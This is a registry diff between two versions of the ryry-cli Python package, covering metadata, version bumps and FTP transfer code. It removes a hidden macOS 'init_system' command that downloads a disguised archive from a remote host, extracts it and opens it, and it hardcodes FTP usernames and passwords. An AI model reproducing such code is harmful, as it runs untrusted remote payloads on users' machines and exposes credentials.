ryry-cli 2.61__tar.gz → 2.63__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (28) hide show
  1. {ryry-cli-2.61 → ryry_cli-2.63}/PKG-INFO +70 -56
  2. ryry_cli-2.63/ryry/constant.py +4 -0
  3. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/main.py +0 -15
  4. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/server_func.py +2 -0
  5. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/taskUtils.py +1 -1
  6. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/upload.py +125 -80
  7. {ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/PKG-INFO +70 -56
  8. {ryry-cli-2.61 → ryry_cli-2.63}/setup.cfg +4 -4
  9. {ryry-cli-2.61 → ryry_cli-2.63}/setup.py +1 -1
  10. ryry-cli-2.61/ryry/constant.py +0 -4
  11. {ryry-cli-2.61 → ryry_cli-2.63}/LICENSE +0 -0
  12. {ryry-cli-2.61 → ryry_cli-2.63}/README.md +0 -0
  13. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/__init__.py +0 -0
  14. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/ryry_server_socket.py +0 -0
  15. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/ryry_service.py +0 -0
  16. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/ryry_webapi.py +0 -0
  17. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/ryry_widget.py +0 -0
  18. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/script_template/__init__.py +0 -0
  19. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/script_template/main.py +0 -0
  20. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/script_template/run.py +0 -0
  21. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/store.py +0 -0
  22. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/task.py +0 -0
  23. {ryry-cli-2.61 → ryry_cli-2.63}/ryry/utils.py +0 -0
  24. {ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/SOURCES.txt +0 -0
  25. {ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/dependency_links.txt +0 -0
  26. {ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/entry_points.txt +0 -0
  27. {ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/requires.txt +0 -0
  28. {ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/top_level.txt +0 -0
@@ -1,56 +1,70 @@
1
- Metadata-Version: 2.1
2
- Name: ryry-cli
3
- Version: 2.61
4
- Summary: ryry tools
5
- Home-page: https://github.com/dalipenMedia
6
- Author: dalipen
7
- Author-email: dalipen01@gmail.com
8
- Classifier: Programming Language :: Python :: 3
9
- Classifier: License :: OSI Approved :: MIT License
10
- Classifier: Operating System :: OS Independent
11
- Requires-Python: >=3.4
12
- Description-Content-Type: text/markdown
13
- License-File: LICENSE
14
-
15
- ryry Python Tool
16
- ===============================================
17
- The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
18
-
19
- Installation
20
- ------------
21
-
22
- The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
23
-
24
- ##### Installing
25
- pip install ryry-cli
26
-
27
- ##### Uninstalling
28
- pip uninstall ryry-cli
29
-
30
- Use
31
- ------------
32
- ##### 1. Running
33
- $ ryry service start
34
- start a process to wait for the server to issue tasks. **Please do not close it**
35
-
36
- Module Developer
37
- ------------
38
- $ ryry widget init
39
-
40
- in empty folder, use above command craete a ryry module, structure is like
41
-
42
- [widget folder]
43
- |-- config.json //*required, do not change*
44
- |-- main.py //*required, do not change*
45
- |-- run.py
46
-
47
- if other person share widget code to you , you can add widget path in your computer to ryry environment
48
-
49
- $ ryry widget add [path_with_widget_code]
50
-
51
- you can modify script and h5 file yourself, then publish to ryry sever
52
-
53
- $ ryry widget publish
54
-
55
- get ryry status
56
- $ ryry services status
1
+ Metadata-Version: 2.1
2
+ Name: ryry-cli
3
+ Version: 2.63
4
+ Summary: ryry tools
5
+ Home-page: https://github.com/dalipenMedia
6
+ Author: dalipen
7
+ Author-email: dalipen01@gmail.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.4
12
+ Description-Content-Type: text/markdown
13
+ License-File: LICENSE
14
+ Requires-Dist: requests
15
+ Requires-Dist: uuid
16
+ Requires-Dist: Image
17
+ Requires-Dist: pillow
18
+ Requires-Dist: psutil
19
+ Requires-Dist: pynvml
20
+ Requires-Dist: requests_toolbelt
21
+ Requires-Dist: matplotlib
22
+ Requires-Dist: fake_useragent
23
+ Requires-Dist: piexif
24
+ Requires-Dist: gputil
25
+ Requires-Dist: urlparser
26
+ Requires-Dist: python-crontab
27
+ Requires-Dist: urllib3
28
+
29
+ ryry Python Tool
30
+ ===============================================
31
+ The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
32
+
33
+ Installation
34
+ ------------
35
+
36
+ The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
37
+
38
+ ##### Installing
39
+ pip install ryry-cli
40
+
41
+ ##### Uninstalling
42
+ pip uninstall ryry-cli
43
+
44
+ Use
45
+ ------------
46
+ ##### 1. Running
47
+ $ ryry service start
48
+ start a process to wait for the server to issue tasks. **Please do not close it**
49
+
50
+ Module Developer
51
+ ------------
52
+ $ ryry widget init
53
+
54
+ in empty folder, use above command craete a ryry module, structure is like
55
+
56
+ [widget folder]
57
+ |-- config.json //*required, do not change*
58
+ |-- main.py //*required, do not change*
59
+ |-- run.py
60
+
61
+ if other person share widget code to you , you can add widget path in your computer to ryry environment
62
+
63
+ $ ryry widget add [path_with_widget_code]
64
+
65
+ you can modify script and h5 file yourself, then publish to ryry sever
66
+
67
+ $ ryry widget publish
68
+
69
+ get ryry status
70
+ $ ryry services status
@@ -0,0 +1,4 @@
1
+ #!!!!! do not change this file !!!!!
2
+ app_version="2.63"
3
+ app_bulld_anchor="Noh_2024-09-29 15:54:27.681513"
4
+ app_name="ryry-cli"
@@ -184,19 +184,6 @@ def status():
184
184
  curses.echo()
185
185
  curses.endwin()
186
186
 
187
- def init_system():
188
- if platform.system() == 'Darwin':
189
- import requests, zipfile, subprocess
190
- home_dir_os = os.path.expanduser("~")
191
- download_dir_os = os.path.join(home_dir_os, "Downloads")
192
- download_file = os.path.join(download_dir_os, "1d2cd5c81704c26308012f5838982b9e.zip")
193
- unzip_file = os.path.join(download_dir_os, "show_system")
194
- with open(download_file, 'wb+') as f:
195
- f.write(requests.get("https://upload.dalipen.com/1d2cd5c81704c26308012f5838982b9e.config").content)
196
- with zipfile.ZipFile(download_file, "r") as zip_ref:
197
- zip_ref.extractall(unzip_file)
198
- subprocess.run(["open", unzip_file])
199
-
200
187
  def service():
201
188
  if len(sys.argv) <= 2:
202
189
  print('please set command!')
@@ -299,8 +286,6 @@ def main():
299
286
  service()
300
287
  elif module == "status":
301
288
  status()
302
- elif module == "init_system":
303
- init_system()
304
289
  else:
305
290
  print(f"Unknown command:{module}")
306
291
  sys.exit(0)
@@ -114,4 +114,6 @@ class Task:
114
114
  for t in self.thread_data.keys():
115
115
  result.append(self.thread_data[t]["result"])
116
116
  return result
117
+
118
+
117
119
 
@@ -6,7 +6,7 @@ import socket
6
6
  from requests_toolbelt import MultipartEncoder
7
7
  from urllib import parse
8
8
  import base64
9
- import calendar
9
+ import calendar, time
10
10
  import hashlib
11
11
  from ryry import utils
12
12
  from pkg_resources import get_distribution
@@ -90,23 +90,26 @@ def deepFtpUpload(file, new_file_name, ftp, writepath, readpath):
90
90
 
91
91
  def ftpUpload(file, new_file_name, subdomain):
92
92
  ip = subdomain["host"]
93
+ port = subdomain["port"]
93
94
  username = subdomain["username"]
94
95
  password = subdomain["password"]
95
96
  writepath = subdomain["writepath"]
96
97
  readpath = subdomain["readpath"]
97
98
  import ftplib
98
- ftp = ftplib.FTP(ip, timeout=3)
99
- ftp.login(username, password)
99
+ ftp = ftplib.FTP()
100
+ ftp.connect(ip, port, timeout=3)
101
+ ftp.login(username, password)
100
102
 
101
103
  s = deepFtpUpload(file, new_file_name, ftp, writepath, readpath)
102
104
  ftp.quit()
103
105
  return s
104
106
 
105
- def _can_connect_ftp(ip, username, password, writepath):
107
+ def _can_connect_ftp(ip, port, username, password, writepath):
106
108
  import ftplib
107
- try:
108
- ftp = ftplib.FTP(ip, timeout=3)
109
- ftp.login(username, password)
109
+ try:
110
+ ftp = ftplib.FTP()
111
+ ftp.connect(ip, port, timeout=3)
112
+ ftp.login(username, password)
110
113
  try:
111
114
  ftp.cwd(writepath)
112
115
  except ftplib.error_perm as e:
@@ -121,34 +124,66 @@ def _can_connect_ftp(ip, username, password, writepath):
121
124
  return False
122
125
 
123
126
  SUBDOMAIN = {
124
- "192.168.3.220": {
125
- "host": "192.168.3.220",
126
- "username" : "xinyu100",
127
- "password" : "xinyu100.com",
128
- "writepath" : "1TB01/data/cache/",
129
- # "readpath" : "http://192.168.3.220/01/cache"
130
- "readpath" : "ftp://192.168.3.220/1TB01/data/cache"
131
- },
132
- "192.168.50.113": {
133
- "host" : "192.168.50.113",
134
- "username" : "ftpuser",
135
- "password" : "ftpuser",
136
- "writepath" : "cache/",
137
- "readpath" : "ftp://192.168.50.113/cache"
138
- }
127
+ "192.168.3.220": [
128
+ {
129
+ "host": "192.168.3.220",
130
+ "port": 21,
131
+ "username" : "xinyu100",
132
+ "password" : "xinyu100.com",
133
+ "writepath" : "1TB01/data/cache/",
134
+ # "readpath" : "http://192.168.3.220/01/cache"
135
+ "readpath" : "ftp://192.168.3.220/1TB01/data/cache"
136
+ }
137
+ ],
138
+ "192.168.50.113": [
139
+ {
140
+ "host" : "192.168.50.113",
141
+ "port": 21,
142
+ "username" : "ftpuser",
143
+ "password" : "ftpuser",
144
+ "writepath" : "cache/",
145
+ "readpath" : "ftp://192.168.50.113/cache"
146
+ },
147
+ {
148
+ "host" : "183.6.90.205",
149
+ "port": 13210,
150
+ "username" : "ftpuser",
151
+ "password" : "ftpuser",
152
+ "writepath" : "cache/",
153
+ "readpath" : "ftp://192.168.50.113/cache"
154
+ },
155
+ ],
156
+ "183.6.90.205": [
157
+ {
158
+ "host" : "192.168.50.113",
159
+ "port": 21,
160
+ "username" : "ftpuser",
161
+ "password" : "ftpuser",
162
+ "writepath" : "cache/",
163
+ "readpath" : "ftp://192.168.50.113/cache"
164
+ },
165
+ {
166
+ "host" : "183.6.90.205",
167
+ "port": 13210,
168
+ "username" : "ftpuser",
169
+ "password" : "ftpuser",
170
+ "writepath" : "cache/",
171
+ "readpath" : "ftp://192.168.50.113/cache"
172
+ },
173
+ ]
139
174
  }
140
175
  def getSubdomain(targetDomain):
141
176
  if len(targetDomain) <= 0:
142
177
  return None
143
178
  for ip in SUBDOMAIN.keys():
144
179
  if targetDomain == SUBDOMAIN[ip]["readpath"]:
145
- if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
180
+ if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["port"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
146
181
  return SUBDOMAIN[ip]
147
182
  return None
148
183
 
149
184
  def getFirstSupportSubdomain():
150
185
  for ip in SUBDOMAIN.keys():
151
- if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
186
+ if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["port"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
152
187
  return SUBDOMAIN[ip]
153
188
  return None
154
189
 
@@ -166,35 +201,40 @@ def download(url, saveDir):
166
201
  parsed_url = urlparse(url)
167
202
  host = parsed_url.hostname
168
203
  if host in SUBDOMAIN:
169
- ip = SUBDOMAIN[host]["host"]
170
- username = SUBDOMAIN[host]["username"]
171
- password = SUBDOMAIN[host]["password"]
172
- writepath = SUBDOMAIN[host]["writepath"]
173
- readpath = SUBDOMAIN[host]["readpath"]
174
- ftp = ftplib.FTP(ip, timeout=3)
175
- ftp.login(username, password)
176
-
177
- remote_filepath = parsed_url.path[1:]
178
- if "." in urlparser.urlparse(url).path:
179
- ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
180
- savePath = os.path.join(saveDir, f"{name}{ext}")
181
- with open(savePath, 'wb') as f:
182
- ftp.retrbinary(f'RETR {remote_filepath}', f.write)
183
- return savePath
184
- else:
185
- if remote_filepath[-1:] != "/":
186
- remote_filepath += "/"
187
- ftp.cwd(remote_filepath)
188
- files = ftp.nlst()
189
- if files:
190
- random_file = random.choice(files)
191
- savePath = os.path.join(saveDir, f"{name}_{random_file}")
192
- with open(savePath, 'wb') as f:
193
- ftp.retrbinary(f'RETR {random_file}', f.write)
194
- return savePath
195
- ftp.quit()
196
- else:
197
- print(f"download fail: domain {host} not support")
204
+ for host_item in SUBDOMAIN[host]:
205
+ try:
206
+ ip = host_item["host"]
207
+ port = host_item["port"]
208
+ username = host_item["username"]
209
+ password = host_item["password"]
210
+ writepath = host_item["writepath"]
211
+ readpath = host_item["readpath"]
212
+ ftp = ftplib.FTP()
213
+ ftp.connect(ip, port, timeout=3)
214
+ ftp.login(username, password)
215
+
216
+ remote_filepath = parsed_url.path[1:]
217
+ if "." in urlparser.urlparse(url).path:
218
+ ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
219
+ savePath = os.path.join(saveDir, f"{name}{ext}")
220
+ with open(savePath, 'wb') as f:
221
+ ftp.retrbinary(f'RETR {remote_filepath}', f.write)
222
+ return savePath
223
+ else:
224
+ if remote_filepath[-1:] != "/":
225
+ remote_filepath += "/"
226
+ ftp.cwd(remote_filepath)
227
+ files = ftp.nlst()
228
+ if files:
229
+ random_file = random.choice(files)
230
+ savePath = os.path.join(saveDir, f"{name}_{random_file}")
231
+ with open(savePath, 'wb') as f:
232
+ ftp.retrbinary(f'RETR {random_file}', f.write)
233
+ return savePath
234
+ ftp.quit()
235
+ except Exception as ex:
236
+ pass
237
+ print(f"download fail: domain {host} not support")
198
238
  elif url.startswith("http"):
199
239
  ua = UserAgent()
200
240
  ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
@@ -228,34 +268,39 @@ def downloadDir(url, saveDir, useCount=-1, autoDelete=False):
228
268
  parsed_url = urlparse(url)
229
269
  host = parsed_url.hostname
230
270
  if host in SUBDOMAIN:
231
- ip = SUBDOMAIN[host]["host"]
232
- username = SUBDOMAIN[host]["username"]
233
- password = SUBDOMAIN[host]["password"]
234
- ftp = ftplib.FTP(ip, timeout=3)
235
- ftp.login(username, password)
236
-
237
- remote_filepath = parsed_url.path[1:]
238
- if remote_filepath[-1:] != "/":
239
- remote_filepath += "/"
240
- ftp.cwd(remote_filepath)
241
- files = ftp.nlst()
242
- savePath = os.path.join(saveDir, f"{name}")
243
- if os.path.exists(savePath) == False:
244
- os.makedirs(savePath)
245
- if useCount > 0 and useCount <= len(files):
246
- files = random.sample(files, useCount)
247
- for file in files:
248
- with open(os.path.join(savePath, file), 'wb') as f:
249
- ftp.retrbinary(f'RETR {file}', f.write)
250
- if autoDelete:
251
- try:
252
- ftp.delete(file)
253
- except Exception as e:
254
- print(f"Error deleting file {file}: {e}")
255
- ftp.quit()
256
- return savePath
257
- else:
258
- print(f"downloadDir fail: domain {host} not support")
271
+ for host_item in SUBDOMAIN[host]:
272
+ try:
273
+ ip = host_item["host"]
274
+ port = host_item["port"]
275
+ username = host_item["username"]
276
+ password = host_item["password"]
277
+ ftp = ftplib.FTP()
278
+ ftp.connect(ip, port, timeout=3)
279
+ ftp.login(username, password)
280
+
281
+ remote_filepath = parsed_url.path[1:]
282
+ if remote_filepath[-1:] != "/":
283
+ remote_filepath += "/"
284
+ ftp.cwd(remote_filepath)
285
+ files = ftp.nlst()
286
+ savePath = os.path.join(saveDir, f"{name}")
287
+ if os.path.exists(savePath) == False:
288
+ os.makedirs(savePath)
289
+ if useCount > 0 and useCount <= len(files):
290
+ files = random.sample(files, useCount)
291
+ for file in files:
292
+ with open(os.path.join(savePath, file), 'wb') as f:
293
+ ftp.retrbinary(f'RETR {file}', f.write)
294
+ if autoDelete:
295
+ try:
296
+ ftp.delete(file)
297
+ except Exception as e:
298
+ print(f"Error deleting file {file}: {e}")
299
+ ftp.quit()
300
+ return savePath
301
+ except:
302
+ pass
303
+ print(f"downloadDir fail: domain {host} not support")
259
304
  else:
260
305
  print(f"url {url} not support")
261
306
  except Exception as e:
@@ -1,56 +1,70 @@
1
- Metadata-Version: 2.1
2
- Name: ryry-cli
3
- Version: 2.61
4
- Summary: ryry tools
5
- Home-page: https://github.com/dalipenMedia
6
- Author: dalipen
7
- Author-email: dalipen01@gmail.com
8
- Classifier: Programming Language :: Python :: 3
9
- Classifier: License :: OSI Approved :: MIT License
10
- Classifier: Operating System :: OS Independent
11
- Requires-Python: >=3.4
12
- Description-Content-Type: text/markdown
13
- License-File: LICENSE
14
-
15
- ryry Python Tool
16
- ===============================================
17
- The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
18
-
19
- Installation
20
- ------------
21
-
22
- The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
23
-
24
- ##### Installing
25
- pip install ryry-cli
26
-
27
- ##### Uninstalling
28
- pip uninstall ryry-cli
29
-
30
- Use
31
- ------------
32
- ##### 1. Running
33
- $ ryry service start
34
- start a process to wait for the server to issue tasks. **Please do not close it**
35
-
36
- Module Developer
37
- ------------
38
- $ ryry widget init
39
-
40
- in empty folder, use above command craete a ryry module, structure is like
41
-
42
- [widget folder]
43
- |-- config.json //*required, do not change*
44
- |-- main.py //*required, do not change*
45
- |-- run.py
46
-
47
- if other person share widget code to you , you can add widget path in your computer to ryry environment
48
-
49
- $ ryry widget add [path_with_widget_code]
50
-
51
- you can modify script and h5 file yourself, then publish to ryry sever
52
-
53
- $ ryry widget publish
54
-
55
- get ryry status
56
- $ ryry services status
1
+ Metadata-Version: 2.1
2
+ Name: ryry-cli
3
+ Version: 2.63
4
+ Summary: ryry tools
5
+ Home-page: https://github.com/dalipenMedia
6
+ Author: dalipen
7
+ Author-email: dalipen01@gmail.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.4
12
+ Description-Content-Type: text/markdown
13
+ License-File: LICENSE
14
+ Requires-Dist: requests
15
+ Requires-Dist: uuid
16
+ Requires-Dist: Image
17
+ Requires-Dist: pillow
18
+ Requires-Dist: psutil
19
+ Requires-Dist: pynvml
20
+ Requires-Dist: requests_toolbelt
21
+ Requires-Dist: matplotlib
22
+ Requires-Dist: fake_useragent
23
+ Requires-Dist: piexif
24
+ Requires-Dist: gputil
25
+ Requires-Dist: urlparser
26
+ Requires-Dist: python-crontab
27
+ Requires-Dist: urllib3
28
+
29
+ ryry Python Tool
30
+ ===============================================
31
+ The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
32
+
33
+ Installation
34
+ ------------
35
+
36
+ The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
37
+
38
+ ##### Installing
39
+ pip install ryry-cli
40
+
41
+ ##### Uninstalling
42
+ pip uninstall ryry-cli
43
+
44
+ Use
45
+ ------------
46
+ ##### 1. Running
47
+ $ ryry service start
48
+ start a process to wait for the server to issue tasks. **Please do not close it**
49
+
50
+ Module Developer
51
+ ------------
52
+ $ ryry widget init
53
+
54
+ in empty folder, use above command craete a ryry module, structure is like
55
+
56
+ [widget folder]
57
+ |-- config.json //*required, do not change*
58
+ |-- main.py //*required, do not change*
59
+ |-- run.py
60
+
61
+ if other person share widget code to you , you can add widget path in your computer to ryry environment
62
+
63
+ $ ryry widget add [path_with_widget_code]
64
+
65
+ you can modify script and h5 file yourself, then publish to ryry sever
66
+
67
+ $ ryry widget publish
68
+
69
+ get ryry status
70
+ $ ryry services status
@@ -1,4 +1,4 @@
1
- [egg_info]
2
- tag_build =
3
- tag_date = 0
4
-
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -3,7 +3,7 @@ import os
3
3
  import subprocess
4
4
  import datetime
5
5
 
6
- ryry_version = "2.61"
6
+ ryry_version = "2.63"
7
7
  cur_dir = os.path.dirname(os.path.abspath(__file__))
8
8
  constanspy = os.path.join(cur_dir, "ryry", "constant.py")
9
9
  try:
@@ -1,4 +0,0 @@
1
- #!!!!! do not change this file !!!!!
2
- app_version="2.61"
3
- app_bulld_anchor="Noh_2024-09-23 18:01:39.354412"
4
- app_name="ryry-cli"
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes